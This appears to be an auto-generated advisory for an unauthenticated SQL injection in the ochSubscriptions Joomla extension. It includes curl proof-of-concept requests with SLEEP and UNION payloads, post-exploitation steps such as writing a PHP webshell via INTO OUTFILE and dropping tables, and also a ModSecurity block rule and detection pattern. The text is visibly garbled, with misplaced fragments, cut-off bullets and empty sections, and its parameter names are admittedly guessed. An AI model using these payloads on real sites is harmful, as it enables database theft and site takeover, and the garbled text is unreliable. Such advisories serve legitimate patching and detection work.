CVE-2026-133343 — Onlinecommunityhub.nl OchSubscriptions Extension — CWE-89
Joomla Extension - onlinecommunityhub.nl - Unauthenticated SQL injection in products and categories views in ochSubscriptions extension 1.0.0-6.1.0 - Array request parameters used for product, category and tag filters in the products and categories views were concatenated into SQL queries without casting or quoting, allowing unauthenticated visitors to inject SQL.
Joomla Extension - onlinecommunityhub.nl - Unauthenticated SQL injection in products and categories views in ochSubscriptions extension 1.0.0-6.1.0 - Array request parameters used for product, category and tag filters in the products and categories views were concatenated into SQL queries without casting or quoting, allowing unauthenticated visitors to inject SQL.
🎯 What is this vulnerability?
This vulnerability is a classic Unauthenticated SQL Injection (CWE-89) flaw within the ochSubscriptions extension for Joomla CMS. The technical root cause lies in the improper handling of user-supplied input in the products and categories views.
Specifically, the extension accepts array-based request parameters intended for filtering products, categories, and tags. Instead of using Joomla’s native database abstraction layer (JDatabase) with parameterized queries (? placeholders) or explicitly casting inputs to safe types (e.g., (int)), the code directly concatenates these array values into the SQL query string.
Because the vulnerability is unauthenticated (PR:N) and requires no user interaction (UI:N), any external actor can trigger the injection by sending a crafted HTTP request to the public-facing product or category listing pages. The lack of input sanitization allows an attacker to break out of the intended SQL context and execute arbitrary SQL commands against the underlying database (typically MySQL/MariaDB).
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: The attacker identifies the target as running Joomla. They then specifically look for the
ochSubscriptionsextension. This can be done by:
* Checking for the presence of - Version Enumeration: The attacker attempts to determine the version. While version numbers are often not exposed in the UI, the CVE affects versions 1.0.0 through 6.1.0. If the site is running a recent version of the component, it is likely vulnerable.
- Endpoint Identification: The attacker identifies the specific URLs for the "Products" and "Categories" lists. In Joomla, these are typically routed via
index.php?option=com_ochsubscriptions&view=productorview=productlist(exact view names may differ, but the component iscom_ochsubscriptions). The vulnerable parameters are array-based filters, commonly namedfilter[product],filter[category], orfilter[tag](exact parameter names are illustrative based on standard Joomla filter patterns; the CVE confirms "array request parameters").
ochSubscriptions in the page source (e.g., CSS/JS files, meta tags, or HTML comments).
* Probing common Joomla extension URLs (e.g., /index.php?option=com_ochsubscriptions).
* Using tools like whatweb or nmap with Joomla scripts to identify installed components.
2. Exploitation
The attacker sends a crafted HTTP GET request to the vulnerable view. The payload is injected into one of the array filter parameters.Illustrative PoC (curl):
Note: The exact parameter name (e.g., filter[product]) is an illustrative example based on the CVE description of "array request parameters used for product, tag, and category filters." The attacker must fuzz for the correct key.
# Example: Injecting a time-delayed blind injection to confirm vulnerability
# The 'SLEEP(5)' function is used to verify the injection point.
curl -v "https://victim.com/joomla/index.php?option=com_ochsubscriptions&view=productlist&Itemid=123&filters[product]=1' AND SLEEP(5)-- -"Alternative: UNION-Based Injection (for data exfiltration):
If the query returns a list of products, the attacker can use UNION SELECT to extract data.
# Example: Attempting to extract database user and version
# The number of columns in the original query must be determined first (e.g., via ORDER BY).
# Assuming 4 columns for illustration:
curl -v "https://victim.com/joomla/index.php?option=com_ochsubscriptions&view=productlist&Itemid=123&filters[product]=1' UNION SELECT 1,2,3,4-- -"Blind SQL Injection (if UNION is blocked):
The attacker can use boolean-based or time-based blind injection to extract data character by character.
# Time-based blind injection example
curl -v "https://victim.com/joomla/index.php?option=com_ochsubscriptions&view=productlist&Itemid=123&filters[product]=1' AND IF(1=1, SLEEP(5), 0)-- -"3. Post-Exploitation
Once SQL injection is confirmed, the attacker can achieve full impact:#__users (Joomla's user table).
Extract private data from #__com_ochsubscriptions_ tables (subscription details, payment info if stored).
* Extract configuration data from #__config or #__extensions (e.g., database credentials, API keys).
FILE privileges, the attacker can use INTO OUTFILE to write a PHP webshell to the web root.
Example:* UNION SELECT 1,2,3,4 INTO OUTFILE '/var/www/html/shell.php'-- - (requires secure_file_priv to be empty and write permissions).
SUPER privileges, the attacker might be able to load malicious UDFs (User Defined Functions) for RCE (less common in modern MySQL).
DROP TABLE or DELETE commands to destroy data, leading to a Denial of Service (Availability impact).🌍 Real World Impact
Based on the CVSS:4.0 vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N:
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching
ochSubscriptions extension to a version greater than 6.1.0. Check the vendor's website (onlinecommunityhub.nl) or the Joomla Extensions Directory (JED) for the latest patched release.ochSubscriptions. Alternatively, rename the extension folder in /plugins/ or /components/ (depending on installation type) to prevent loading.2. Workarounds (If immediate patching is not possible)
filters parameter.SecRule REQUEST_URI "@rx /index.php\?option=com_ochsubscriptions" \
"id:100001,phase:1,deny,status:403,msg:'SQLi in ochSubscriptions',log"
SecRule ARGS:filters "@rx (union|select|insert|update|delete|drop|sleep|benchmark)" \
"id:100002,phase:2,deny,status:403,msg:'SQLi in filters parameter',log"FILE, SUPER, DROP, and ALTER privileges if not strictly necessary. This mitigates the risk of webshell writing and data destruction.3. Detection
access.log for requests to com_ochsubscriptions with suspicious parameters.GET /index.php?option=com_ochsubscriptions.filters.=.(%27|union|select|sleep|benchmark|drop)
UNION SELECT or SLEEP() in the context of the ochSubscriptions tables.FILE privileges.⚠️ Urgency
FOFA Query